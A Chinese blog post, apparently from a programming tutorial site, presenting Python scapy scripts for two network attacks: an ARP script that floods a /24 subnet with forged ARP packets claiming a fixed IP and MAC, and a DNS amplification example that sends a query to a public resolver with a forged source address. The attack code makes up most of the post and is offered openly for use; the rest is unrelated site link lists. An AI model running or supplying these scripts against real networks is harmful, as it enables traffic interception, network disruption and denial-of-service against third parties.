Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
磁盘垃圾文件清理器python代码实现
Aug 24 Python
Python中循环引用(import)失败的解决方法
Apr 22 Python
Python3.6.0+opencv3.3.0人脸检测示例
May 25 Python
Python多线程原理与用法详解
Aug 20 Python
Python安装pycurl失败的解决方法
Oct 15 Python
浅谈Django中view对数据库的调用方法
Jul 18 Python
Python日志syslog使用原理详解
Feb 18 Python
python GUI库图形界面开发之PyQt5动态(可拖动控件大小)布局控件QSplitter详细使用方法与实例
Mar 06 Python
jupyter notebook oepncv 显示一张图像的实现
Apr 24 Python
Python  word实现读取及导出代码解析
Jul 09 Python
Python爬虫入门教程01之爬取豆瓣Top电影
Jan 24 Python
Python中文纠错的简单实现
Jul 07 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
中篇:安装及配置PHP
2006/12/13 PHP
php 操作调试的方法
2012/07/12 PHP
PHP安全的URL字符串base64编码和解码
2014/06/19 PHP
php求今天、昨天、明天时间戳的简单实现方法
2016/07/28 PHP
PHP 文件锁与进程锁的使用示例
2017/08/07 PHP
JavaScript 学习笔记二 字符串拼接
2010/03/28 Javascript
使用Jquery搭建最佳用户体验的登录页面之记住密码自动登录功能(含后台代码)
2011/07/10 Javascript
jQuery写的日历(包括日历的样式及功能)
2013/04/23 Javascript
js加入收藏夹代码(兼容ie/ff/op)
2014/05/16 Javascript
javascript实现十六进制颜色值(HEX)和RGB格式相互转换
2014/06/20 Javascript
使用Chart.js图表库制作漂亮的响应式表单
2015/10/28 Javascript
jQuery Form 表单提交插件之formSerialize,fieldSerialize,fieldValue,resetForm,clearForm,clearFields的应用
2016/01/23 Javascript
node.JS md5加密中文与php结果不一致的解决方法
2017/05/05 Javascript
BootStrap中Table隐藏后显示问题的实现代码
2017/08/31 Javascript
JavaScript中使用参数个数实现重载功能
2017/09/01 Javascript
js提取中文拼音首字母的封装工具类
2018/03/12 Javascript
详解Angular5/Angular6项目如何添加热更新(HMR)功能
2018/10/10 Javascript
vue源码中的检测方法的实现
2019/09/26 Javascript
Vue中图片Src使用变量的方法
2019/10/30 Javascript
Python的爬虫框架scrapy用21行代码写一个爬虫
2017/04/24 Python
python中使用 xlwt 操作excel的常见方法与问题
2019/01/13 Python
对Python中一维向量和一维向量转置相乘的方法详解
2019/08/26 Python
深入浅析python变量加逗号,的含义
2020/02/22 Python
python列表删除和多重循环退出原理详解
2020/03/26 Python
HTML5 transform三维立方体实现360无死角三维旋转效果
2014/08/22 HTML / CSS
如何判断一段程序是由C 编译程序还是由C++编译程序编译的
2013/08/04 面试题
SQL Server数据库笔试题和答案
2016/02/04 面试题
高中生的学习总结自我鉴定
2013/10/26 职场文书
银行办理业务介绍信
2014/01/18 职场文书
表彰先进的通报
2014/01/31 职场文书
联欢晚会主持词
2014/03/25 职场文书
基层党支部整改方案
2014/10/25 职场文书
先进教师个人事迹材料
2014/12/15 职场文书
小学毕业感言100字
2015/07/30 职场文书
动画《新网球王子 U-17 WORLD CUP》希腊队PV公开
2022/04/02 日漫
多线程Spring通过@Scheduled实现定时任务
2022/05/25 Java/Android